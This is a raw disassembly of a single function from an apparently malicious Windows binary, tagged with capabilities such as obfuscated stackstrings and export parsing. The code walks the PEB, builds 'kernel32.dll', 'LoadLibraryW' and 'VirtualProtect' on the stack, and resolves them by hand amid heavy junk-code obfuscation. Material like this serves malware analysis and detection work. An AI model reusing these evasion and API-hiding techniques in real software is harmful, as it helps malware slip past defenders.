Function at 0x407b72
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x76c]
add edx, 1
mov dword [ebp - 0x76c], edx
mov eax, dword [ebp - 0x768]
mov ecx, dword [ebp - 0x76c]
cmp ecx, dword [eax + 0x18]
jae 0x407549
mov edx, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x19b8]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x770], ecx
mov edx, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x19bc]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x19c0]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x1d48], eax
mov dword [ebp - 0x198], 0
jmp 0x4073ad
mov ecx, dword [ebp - 0x198]
add ecx, 1
mov dword [ebp - 0x198], ecx
mov edx, dword [ebp - 0x770]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
test eax, eax
je 0x40745f
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x87c]
test edx, edx
je 0x40745f
push edx
xor edx, 0x1660d
or edx, 0xaab1
or edx, 0x175c5
add edx, 0x182d5
pop edx
push edx
push edx
add esp, 4
sub edx, 0xaea6
sub edx, 0xfff2
xor edx, 0x11367
pop edx
mov eax, dword [ebp - 0x770]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x87c]
cmp ecx, eax
je 0x407451
mov ecx, dword [ebp - 0x770]
add ecx, dword [ebp - 0x198]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x198]
movsx ecx, byte [ebp + eax - 0x87c]
cmp edx, ecx
jne 0x407458
jmp 0x40739e
jmp 0x40745f
push edx
add edx, 0x95c5
xor edx, 0xc23d
xor edx, 0xc64
pop edx
push esi
push esi
add esp, 4
or esi, 0x16d7c
sub esi, 0x44af
or esi, 0x2e03
or esi, 0x43e7
pop esi
mov edx, dword [ebp - 0x770]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x87c]
cmp eax, edx
jne fcn.004074be
mov dword [ebp - 0xcbc], 0
jmp 0x40752d
push edi
and edi, 0x996e
pop edi
push esi
jmp 0x4074cd
pop esi
push esi
push eax
add esp, 4
or esi, 0x36f8
call 0x4074e6
add byte [edx + 0x32], al
cmp ecx, dword [eax + edi + 0x49]
aaa
add esp, 4
xor esi, 0x17739
pop esi
mov eax, dword [ebp - 0x770]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x87c]
or eax, 0x20
cmp ecx, eax
jge 0x407523
mov dword [ebp - 0xcbc], 0xffffffff
jmp 0x40752d
mov dword [ebp - 0xcbc], 1
cmp dword [ebp - 0xcbc], 0
jne 0x407544
mov ecx, dword [ebp - 0x1d48]
mov dword [ebp - 0x514], ecx
jmp 0x407555
jmp 0x40732e
mov edx, dword [ebp - 0x774]
mov dword [ebp - 0x514], edx
mov eax, dword [ebp - 0x514]
mov dword [ebp - 0x7a0], eax
push edx
push esi
add esp, 4
add edx, 0x12c29
and edx, 0x12590
pop edx
push edx
push eax
add esp, 4
jmp 0x407580
or edx, 0x13557
sub edx, 0xa45d
or edx, 0x35ba
pop edx
mov ecx, dword [ebp - 0x3e4]
add ecx, 0xe
mov dword [ebp - 0x1a10], ecx
push edi
sub edi, 0xa88d
pop edi
push ebx
push ebx
add esp, 4
xor ebx, 0x77ae
jmp 0x4075bd
pop ebx
push ecx
jmp 0x4075c7
sub ecx, 0x70cd
xor ecx, 0x538
pop ecx
cmp dword [ebp - 0x3e4], 0
je 0x4075e6
cmp dword [ebp - 0xac4], 0
jne 0x40762c
push esi
push ecx
add esp, 4
jmp 0x4075f4
sub esi, 0xc015
or esi, 0x13b14
jmp 0x407607
pop esi
push edi
or edi, 0x9dac
pop edi
push edx
and edx, 0x17b5e
pop edx
mov edx, dword [ebp - 0x7a0]
mov dword [ebp - 0x19c4], edx
push 0
call dword [ebp - 0x19c4]
mov dword [ebp - 0x20dc], 0xa
push ebx
or ebx, 0x9e9
add ebx, 0x1822a
xor ebx, 0x8579
or ebx, 0x17995
pop ebx
push eax
push edi
add esp, 4
add eax, 0x1159f
pop eax
push esi
push ecx
add esp, 4
and esi, 0xf1f6
pop esi
mov eax, dword [ebp - 0x3e4]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ed], cl
mov edx, dword [ebp - 0xac4]
sub edx, dword [ebp - 0x3e4]
mov dword [ebp - 0x169c], edx
mov dword [ebp - 0xcec], 0
push esi
push edi
add esp, 4
call 0x4076a4
add byte [edx + eax*2 + 0x3f], al
cmp dword [edx], esi
push eax
add esp, 4
pop esi
push ebx
push esi
add esp, 4
jmp 0x4076b2
or ebx, 0xf9ac
or ebx, 0xde32
xor ebx, 0x34a2
pop ebx
mov byte [ebp - 0x9d8], 0x56
mov byte [ebp - 0x9d7], 0x69
mov byte [ebp - 0x9d6], 0x72
mov byte [ebp - 0x9d5], 0x74
mov byte [ebp - 0x9d4], 0x75
mov byte [ebp - 0x9d3], 0x61
mov byte [ebp - 0x9d2], 0x6c
mov byte [ebp - 0x9d1], 0x50
mov byte [ebp - 0x9d0], 0x72
mov byte [ebp - 0x9cf], 0x6f
mov byte [ebp - 0x9ce], 0x74
mov byte [ebp - 0x9cd], 0x65
mov byte [ebp - 0x9cc], 0x63
mov byte [ebp - 0x9cb], 0x74
mov byte [ebp - 0x9ca], 0
push esi
add esi, 0x15dfe
pop esi
push ecx
jmp 0x407740
or ecx, 0x17d0f
call 0x407756
add byte [eax + 0x39], dl
aaa
dec edi
cmp ecx, dword ss:[eax + 0x36]
aaa
add esp, 4
sub ecx, 0x165cf
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19c8], eax
mov ecx, dword [ebp - 0x19c8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19cc], edx
mov eax, dword [ebp - 0x19cc]
mov dword [ebp - 0x161c], eax
push edi
add edi, 0xa1c
pop edi
push edx
push ebx
add esp, 4
sub edx, 0x781f
and edx, 0x16b69
and edx, 0xe176
jmp 0x4077ac
pop edx
push esi
push esi
add esp, 4
add esi, 0x15344
pop esi
cmp dword [ebp - 0x161c], 0
jne 0x4077d1
mov dword [ebp - 0x2f4], 0
jmp 0x407a78
mov ecx, dword [ebp - 0x161c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc8], eax
push esi
push edx
add esp, 4
add esi, 0x7b96
jmp 0x4077f4
pop esi
push eax
push ecx
add esp, 4
xor eax, 0xd227
xor eax, 0x12619
or eax, 0xf1fa
pop eax
push edi
xor edi, 0x3d30
pop edi
cmp dword [ebp - 0xcc8], 0
jne 0x40782d
mov dword [ebp - 0x2f4], 0
jmp 0x407a78
mov ecx, dword [ebp - 0xcc8]
mov dword [ebp - 0x518], ecx
push ecx
push ebx
add esp, 4
xor ecx, 0x770e
or ecx, 0x107ca
pop ecx
push edi
sub edi, 0x13f2
add edi, 0x1743c
pop edi
push edx
push esi
add esp, 4
add edx, 0x703d
or edx, 0x158da
pop edx
lea edx, [ebp - 0x1740]
mov dword [ebp - 0xcc4], edx
mov eax, dword [ebp - 0x518]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcc0], ecx
xor edx, edx
mov word [ebp - 0x21c], dx
xor eax, eax
mov word [ebp - 0x38], ax
push esi
jmp 0x40789e
add esi, 0x15b0b
sub esi, 0x9dd4
pop esi
push ecx
and ecx, 0x70ac
pop ecx
push ebx
add ebx, 0x9209
add ebx, 0x81c6
xor ebx, 0x7c5a
pop ebx
mov ecx, dword [ebp - 0xcc0]
mov dx, word [ecx]
mov word [ebp - 0x1042], dx
mov eax, dword [ebp - 0xcc0]
add eax, 2
mov dword [ebp - 0xcc0], eax
mov cx, word [ebp - 0x1042]
mov word [ebp - 0x21c], cx
mov edx, dword [ebp - 0xcc4]
mov ax, word [edx]
mov word [ebp - 0x1044], ax
mov ecx, dword [ebp - 0xcc4]
add ecx, 2
mov dword [ebp - 0xcc4], ecx
mov dx, word [ebp - 0x1044]
mov word [ebp - 0x38], dx
push ebx
or ebx, 0x8a09
or ebx, 0x148fe
xor ebx, 0xffa8
sub ebx, 0x1594b
pop ebx
push esi
push edx
add esp, 4
sub esi, 0x2be9
sub esi, 0xb3e
and esi, 0xbbd4
pop esi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x40796d
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1624], ecx
jmp 0x4079c7
movzx eax, word [ebp - 0x21c]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x407895
movzx edx, word [ebp - 0x21c]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x407895
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x4079b1
mov dword [ebp - 0x1620], 0xffffffff
jmp 0x4079bb
mov dword [ebp - 0x1620], 1
mov eax, dword [ebp - 0x1620]
mov dword [ebp - 0x1624], eax
cmp dword [ebp - 0x1624], 0
jne 0x407a10
push ecx
push esi
add esp, 4
and ecx, 0x1601a
add ecx, 0x164d4
or ecx, 0x150c8
xor ecx, 0xb1d
pop ecx
push edx
push edi
add esp, 4
or edx, 0x15502
pop edx
push esi
or esi, 0xca36
pop esi
mov ecx, dword [ebp - 0x518]
mov dword [ebp - 0x2f4], ecx
jmp 0x407a78
push ebx
push ecx
add esp, 4
or ebx, 0x1fa7
add ebx, 0x1061c
or ebx, 0x12f1b
pop ebx
push ecx
call 0x407a38
add byte [ebx], dh
dec ecx
cmp eax, 0x4b37333c
dec ecx
add esp, 4
add ecx, 0x6738
pop ecx
mov edx, dword [ebp - 0x518]
mov eax, dword [edx]
mov dword [ebp - 0x518], eax
mov ecx, dword [ebp - 0x518]
cmp ecx, dword [ebp - 0xcc8]
je 0x407a6e
mov edx, dword [ebp - 0x518]
cmp dword [edx + 0x30], 0
jne 0x407839
mov dword [ebp - 0x2f4], 0
push ecx
add ecx, 0x45f9
jmp 0x407a85
pop ecx
push edx
push edi
add esp, 4
call 0x407a97
add byte [0x3d3d4b48], dh
dec ebp
add esp, 4
sub edx, 0x6d11
jmp 0x407aa9
pop edx
cmp dword [ebp - 0x2f4], 0
jne 0x4083af
mov eax, 0x6b
mov word [ebp - 0x17c8], ax
mov ecx, 0x65
mov word [ebp - 0x17c6], cx
mov edx, 0x72
mov word [ebp - 0x17c4], dx
mov eax, 0x6e
mov word [ebp - 0x17c2], ax
mov ecx, 0x65
mov word [ebp - 0x17c0], cx
mov edx, 0x6c
mov word [ebp - 0x17be], dx
mov eax, 0x33
mov word [ebp - 0x17bc], ax
mov ecx, 0x32
mov word [ebp - 0x17ba], cx
mov edx, 0x2e
mov word [ebp - 0x17b8], dx
mov eax, 0x64
mov word [ebp - 0x17b6], ax
mov ecx, 0x6c
mov word [ebp - 0x17b4], cx
mov edx, 0x6c
mov word [ebp - 0x17b2], dx
xor eax, eax
mov word [ebp - 0x17b0], ax
push ebx
xor ebx, 0x12833
xor ebx, 0xe9ba
pop ebx
push esi
xor esi, 0x13f37
call 0x407b72
add byte [esi + 0x3f], cl
cmp dword [esi + 0x3c], ecx
dec esi
inc esi
add esp, 4
pop esi
push ecx
push eax
add esp, 4
jmp 0x407b81
pop ecx
mov byte [ebp - 0x8a8], 0x4c
mov byte [ebp - 0x8a7], 0x6f
mov byte [ebp - 0x8a6], 0x61
mov byte [ebp - 0x8a5], 0x64
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x69
mov byte [ebp - 0x8a2], 0x62
mov byte [ebp - 0x8a1], 0x72
mov byte [ebp - 0x8a0], 0x61
mov byte [ebp - 0x89f], 0x72
mov byte [ebp - 0x89e], 0x79
mov byte [ebp - 0x89d], 0x57
mov byte [ebp - 0x89c], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19d0], ecx
mov edx, dword [ebp - 0x19d0]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19d4], eax
mov ecx, dword [ebp - 0x19d4]
mov dword [ebp - 0x1628], ecx
push edi
push ecx
add esp, 4
sub edi, 0x8afe
jmp 0x407c18
or edi, 0x27fa
pop edi
push edi
push esi
add esp, 4
sub edi, 0x1232e
or edi, 0x10172
sub edi, 0x418b
pop edi
cmp dword [ebp - 0x1628], 0
jne 0x407c4f
mov dword [ebp - 0x778], 0
jmp 0x407ef6
mov edx, dword [ebp - 0x1628]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd4], ecx
push eax
call 0x407c70
add byte [edi + 0x4b], al
dec eax
xor eax, 0x3d3c364d
add esp, 4
call 0x407c83
add byte [ecx + 0x4b], cl
dec esi
aaa
dec eax
push eax
inc eax
cmp al, 0x4d
add esp, 4
sub eax, 0xc52b
add eax, 0x12dc7
pop eax
cmp dword [ebp - 0xcd4], 0
jne 0x407cab
mov dword [ebp - 0x778], 0
jmp 0x407ef6
mov edx, dword [ebp - 0xcd4]
mov dword [ebp - 0x51c], edx
push ecx
push eax
add esp, 4
add ecx, 0xbd23
pop ecx
push esi
push ecx
add esp, 4
or esi, 0x13417
sub esi, 0xc817
jmp 0x407cda
and esi, 0xa95d
pop esi
push eax
or eax, 0x15df9
pop eax
lea eax, [ebp - 0x17c8]
mov dword [ebp - 0xcd0], eax
mov ecx, dword [ebp - 0x51c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xccc], edx
xor eax, eax
mov word [ebp - 0x220], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push esi
push edi
add esp, 4
call 0x407d27
add byte [ecx + eax*2], bh
xor eax, 0x42384f42
inc edi
cmp al, byte [ebx + 0x4eb04c4]
inc esi
dec ebx
inc ebp
or esi, 0x8b7
add esi, 0x10eae
pop esi
push edi
xor edi, 0xebaa
pop edi
mov edx, dword [ebp - 0xccc]
mov ax, word [edx]
mov word [ebp - 0x1046], ax
mov ecx, dword [ebp - 0xccc]
add ecx, 2
mov dword [ebp - 0xccc], ecx
mov dx, word [ebp - 0x1046]
mov word [ebp - 0x220], dx
mov eax, dword [ebp - 0xcd0]
mov cx, word [eax]
mov word [ebp - 0x1048], cx
mov edx, dword [ebp - 0xcd0]
add edx, 2
mov dword [ebp - 0xcd0], edx
mov ax, word [ebp - 0x1048]
mov word [ebp - 0x3c], ax
push ecx
push ebx
add esp, 4
add ecx, 0x5ecd
xor ecx, 0x8cdf
xor ecx, 0xcd75
jmp 0x407dbb
pop ecx
push ecx
push edi
add esp, 4
sub ecx, 0x98fd
and ecx, 0x7a61
pop ecx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x407deb
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1670], edx
jmp 0x407e45
movzx ecx, word [ebp - 0x220]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x407d13
movzx eax, word [ebp - 0x220]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x407d13
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x407e2f
mov dword [ebp - 0x162c], 0xffffffff
jmp 0x407e39
mov dword [ebp - 0x162c], 1
mov ecx, dword [ebp - 0x162c]
mov dword [ebp - 0x1670], ecx
cmp dword [ebp - 0x1670], 0
jne 0x407e8e
push ecx
call 0x407e5e
add byte [eax], bh
xor cl, byte [eax + 0x36]
dec ebp
push eax
dec eax
aaa
add esp, 4
sub ecx, 0x164df
add ecx, 0x42a0
pop ecx
push ecx
push eax
add esp, 4
xor ecx, 0x10386
and ecx, 0x9c8c
pop ecx
mov edx, dword [ebp - 0x51c]
mov dword [ebp - 0x778], edx
jmp 0x407ef6
push ebx
push esi
add esp, 4
xor ebx, 0x15788
pop ebx
push esi
push esi
add esp, 4
or esi, 0x9e3e
pop esi
push edi
push edi
add esp, 4
and edi, 0x11387
and edi, 0x10684
jmp 0x407ebf
pop edi
mov eax, dword [ebp - 0x51c]
mov ecx, dword [eax]
mov dword [ebp - 0x51c], ecx
mov edx, dword [ebp - 0x51c]
cmp edx, dword [ebp - 0xcd4]
je 0x407eec
mov eax, dword [ebp - 0x51c]
cmp dword [eax + 0x30], 0
jne 0x407cb7
mov dword [ebp - 0x778], 0
push ebx
jmp 0x407efd
call 0x407f0c
add byte [ebp + 0x4b], cl
dec esi
cmp byte [ebp + 0x33], al
dec esi
cmp al, 0x3e
add esp, 4
and ebx, 0x6fde
pop ebx
push ecx
push edi
add esp, 4
jmp 0x407f21
sub ecx, 0x16c7e
pop ecx
cmp dword [ebp - 0x778], 0
jne 0x407f72
push eax
push ebx
add esp, 4
and eax, 0xfd54
pop eax
push eax
sub eax, 0x10913
sub eax, 0xdc3f
pop eax
push eax
push ecx
add esp, 4
and eax, 0xb9e2
or eax, 0x166f1
xor eax, 0xbcd9
pop eax
mov dword [ebp - 0xac0], 0
jmp 0x408a9a
push eax
jmp 0x407f78
pop eax
push esi
jmp 0x407f82
and esi, 0xe24f
pop esi
push edi
jmp 0x407f8f
pop edi
push esi
or esi, 0x1256a
add esi, 0xae4c
xor esi, 0x8c62
pop esi
mov ecx, dword [ebp - 0x778]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3a4], edx
mov dword [ebp - 0x788], 0
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x1674], eax
cmp dword [ebp - 0x1674], 0
jne 0x407fe3
mov ecx, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], ecx
jmp 0x4082d4
mov edx, dword [ebp - 0x1674]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1678], eax
jne 0x40800b
mov ecx, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], ecx
jmp 0x4082d4
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1678]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1680], edx
cmp dword [ebp - 0x1680], 0
jne 0x40803d
mov eax, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], eax
jmp 0x4082d4
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [ebp - 0x1680]
mov dword [ebp - 0x77c], ecx
jne 0x408062
mov edx, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], edx
jmp 0x4082d4
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19d8], ecx
mov edx, dword [ebp - 0x77c]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19dc], eax
mov ecx, dword [ebp - 0x77c]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19e0], edx
mov dword [ebp - 0x780], 0
jmp 0x4080bc
mov eax, dword [ebp - 0x780]
add eax, 1
mov dword [ebp - 0x780], eax
mov ecx, dword [ebp - 0x77c]
mov edx, dword [ebp - 0x780]
cmp edx, dword [ecx + 0x18]
jae 0x4082c8
mov eax, dword [ebp - 0x780]
mov ecx, dword [ebp - 0x19d8]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x784], edx
mov eax, dword [ebp - 0x780]
mov ecx, dword [ebp - 0x19dc]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19e0]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x19e4], ecx
mov dword [ebp - 0x19c], 0
jmp 0x40812c
mov edx, dword [ebp - 0x19c]
add edx, 1
mov dword [ebp - 0x19c], edx
mov eax, dword [ebp - 0x784]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x4081de
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x8a8]
test eax, eax
je 0x4081de
push edi
push esi
add esp, 4
sub edi, 0x117ef
pop edi
push edi
push edx
add esp, 4
or edi, 0xdbf4
and edi, 0x11f8a
pop edi
push eax
or eax, 0xa47
xor eax, 0x15254
or eax, 0xbd15
pop eax
mov ecx, dword [ebp - 0x784]
add ecx, dword [ebp - 0x19c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [ebp + eax - 0x8a8]
cmp edx, ecx
je 0x4081d0
mov edx, dword [ebp - 0x784]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x8a8]
cmp eax, edx
jne 0x4081d7
jmp 0x40811d
jmp 0x4081de
push edx
push eax
add esp, 4
and edx, 0x101f7
add edx, 0x134ef
add edx, 0x9cf3
xor edx, 0x57b7
pop edx
push edx
add edx, 0x16807
or edx, 0x7093
xor edx, 0x3013
pop edx
mov eax, dword [ebp - 0x784]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x8a8]
cmp ecx, eax
jne 0x40823d
mov dword [ebp - 0xcd8], 0
jmp 0x4082ac
push edi
push eax
add esp, 4
add edi, 0xf2d5
xor edi, 0x1726e
pop edi
push ecx
push eax
add esp, 4
jmp 0x40825c
sub ecx, 0x8c4
or ecx, 0x12b71
or ecx, 0x34a0
pop ecx
mov ecx, dword [ebp - 0x784]
inc dword [ebx]
lea esp, [esi + edi*8 - 1]
dec dword [edi]
mov esi, 0x20ca8311
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [ebp + eax - 0x8a8]
or ecx, 0x20
cmp edx, ecx
jge 0x4082a2
mov dword [ebp - 0xcd8], 0xffffffff
jmp 0x4082ac
mov dword [ebp - 0xcd8], 1
cmp dword [ebp - 0xcd8], 0
jne 0x4082c3
jmp 0x4080ad
mov eax, dword [ebp - 0x788]
mov dword [ebp - 0x3fc], eax
push ebx
call 0x4083bc
add byte [eax], bh
dec esi
inc ebx
inc esp
aas
aaa
add esp, 4
call 0x4083cc
add byte [ebx], dh
dec esp
xor ecx, dword [ebx + 0x39]
inc ebp
dec ecx
add esp, 4
call 0x4083dd
add byte [ebx + 0x36], cl
dec esi
xor al, 0x4e
cmp eax, 0xc4834148
add al, 0x5b
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19f0], ecx
mov edx, dword [ebp - 0x19f0]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19f4], eax
mov ecx, dword [ebp - 0x19f4]
mov dword [ebp - 0x1684], ecx
push eax
push edx
add esp, 4
jmp 0x408415
and eax, 0x136b2
add eax, 0xad17
sub eax, 0x2738
pop eax
push ebx
and ebx, 0x10553
pop ebx
push ebx
jmp 0x40843a
pop ebx
cmp dword [ebp - 0x1684], 0
jne 0x408453
mov dword [ebp - 0x2f4], 0
jmp 0x4086fa
mov edx, dword [ebp - 0x1684]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xce4], ecx
call dword [edx + 0x50]
add esp, 4
xor edx, 0x135d0
or edx, 0x1704f
or edx, 0x13767
pop edx
push eax
or eax, 0x180b4
xor eax, 0x8506
xor eax, 0x16213
sub eax, 0x2dec
pop eax
cmp dword [ebp - 0xce4], 0
jne 0x4084af
mov dword [ebp - 0x2f4], 0
jmp 0x4086fa
mov edx, dword [ebp - 0xce4]
mov dword [ebp - 0x520], edx
push ecx
or ecx, 0x140d6
add ecx, 0x48b4
pop ecx
push ecx
sub ecx, 0x1d37
pop ecx
push eax
and eax, 0x138cc
jmp 0x4084e0
xor eax, 0x12e1b
or eax, 0x10d5c
pop eax
lea eax, [ebp - 0x1740]
mov dword [ebp - 0xce0], eax
mov ecx, dword [ebp - 0x520]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcdc], edx
xor eax, eax
mov word [ebp - 0x224], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push esi
add esi, 0xe4b3
sub esi, 0x11827
xor esi, 0x4634
pop esi
push ebx
push ebx
add esp, 4
xor ebx, 0x128f9
or ebx, 0x3377
add ebx, 0x1944
jmp 0x408548
pop ebx
mov edx, dword [ebp - 0xcdc]
mov ax, word [edx]
mov word [ebp - 0x104a], ax
mov ecx, dword [ebp - 0xcdc]
add ecx, 2
mov dword [ebp - 0xcdc], ecx
mov dx, word [ebp - 0x104a]
mov word [ebp - 0x224], dx
mov eax, dword [ebp - 0xce0]
mov cx, word [eax]
mov word [ebp - 0x104c], cx
mov edx, dword [ebp - 0xce0]
add edx, 2
mov dword [ebp - 0xce0], edx
mov ax, word [ebp - 0x104c]
mov word [ebp - 0x40], ax
push ebx
push edi
add esp, 4
jmp 0x4085ac
xor ebx, 0xba39
and ebx, 0x9ddc
jmp 0x4085bd
pop ebx
push eax
xor eax, 0x8c29
sub eax, 0x1316e
xor eax, 0x575f
pop eax
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x4085ef
movzx edx, word [ebp - 0x224]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x168c], edx
jmp 0x408649
movzx ecx, word [ebp - 0x224]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x408517
movzx eax, word [ebp - 0x224]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x408517
movzx edx, word [ebp - 0x224]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x408633
mov dword [ebp - 0x1688], 0xffffffff
jmp 0x40863d
mov dword [ebp - 0x1688], 1
mov ecx, dword [ebp - 0x1688]
mov dword [ebp - 0x168c], ecx
cmp dword [ebp - 0x168c], 0
jne 0x408692
push edi
sub edi, 0xa090
jmp 0x40865f
pop edi
push ecx
push esi
add esp, 4
jmp 0x40866a
pop ecx
push ecx
push esi
add esp, 4
add ecx, 0x49a3
jmp 0x40867d
or ecx, 0x13eca
pop ecx
mov edx, dword [ebp - 0x520]
mov dword [ebp - 0x2f4], edx
jmp 0x4086fa
push edi
xor edi, 0xd9c5
and edi, 0x1261c
jmp 0x4086a7
sub edi, 0x3d2e
pop edi
push ebx
and ebx, 0xed9b
jmp 0x4086bd
sub ebx, 0x5c1d
pop ebx
mov eax, dword [ebp - 0x520]
mov ecx, dword [eax]
mov dword [ebp - 0x520], ecx
mov edx, dword [ebp - 0x520]
cmp edx, dword [ebp - 0xce4]
je 0x4086f0
mov eax, dword [ebp - 0x520]
cmp dword [eax + 0x30], 0
jne 0x4084bb
mov dword [ebp - 0x2f4], 0
push ecx
push eax
add esp, 4
and ecx, 0xeb3d
xor ecx, 0x468e
sub ecx, 0x11bed
sub ecx, 0x15cc7
pop ecx
push ecx
add ecx, 0x185b0
or ecx, 0xcbd
and ecx, 0x2011
pop ecx
mov ecx, dword [ebp - 0x2f4]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x36c], edx
push esi
call 0x408749
add byte [ebp + esi + 0x44], cl
dec ebx
dec eax
inc ebp
push eax
add esp, 4
xor esi, 0x16fc8
pop esi
push esi
xor esi, 0xd7a1
xor esi, 0xac91
or esi, 0xafd2
sub esi, 0xf70f
pop esi
mov dword [ebp - 0x798], 0
mov eax, dword [ebp - 0x36c]
mov dword [ebp - 0x1690], eax
cmp dword [ebp - 0x1690], 0
jne 0x40879d
mov ecx, dword [ebp - 0x798]
mov dword [ebp - 0x524], ecx
jmp 0x408a8e
mov edx, dword [ebp - 0x1690]
mov eax, dword [ebp - 0x36c]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1694], eax
jne 0x4087c5
mov ecx, dword [ebp - 0x798]
mov dword [ebp - 0x524], ecx
jmp 0x408a8e
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1694]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1698], edx
cmp dword [ebp - 0x1698], 0
jne 0x4087f7
mov eax, dword [ebp - 0x798]
mov dword [ebp - 0x524], eax
jmp 0x408a8e
mov ecx, dword [ebp - 0x36c]
add ecx, dword [ebp - 0x1698]
mov dword [ebp - 0x78c], ecx
jne 0x40881c
mov edx, dword [ebp - 0x798]
mov dword [ebp - 0x524], edx
jmp 0x408a8e
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x36c]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19f8], ecx
mov edx, dword [ebp - 0x78c]
mov eax, dword [ebp - 0x36c]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19fc], eax
mov ecx, dword [ebp - 0x78c]
mov edx, dword [ebp - 0x36c]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1a00], edx
mov dword [ebp - 0x790], 0
jmp 0x408876
mov eax, dword [ebp - 0x790]
add eax, 1
mov dword [ebp - 0x790], eax
mov ecx, dword [ebp - 0x78c]
mov edx, dword [ebp - 0x790]
cmp edx, dword [ecx + 0x18]
jae 0x408a82
mov eax, dword [ebp - 0x790]
mov ecx, dword [ebp - 0x19f8]
mov edx, dword [ebp - 0x36c]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x794], edx
mov eax, dword [ebp - 0x790]
mov ecx, dword [ebp - 0x19fc]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1a00]
mov ecx, dword [ebp - 0x36c]
add ecx, dword [eax + edx*4]
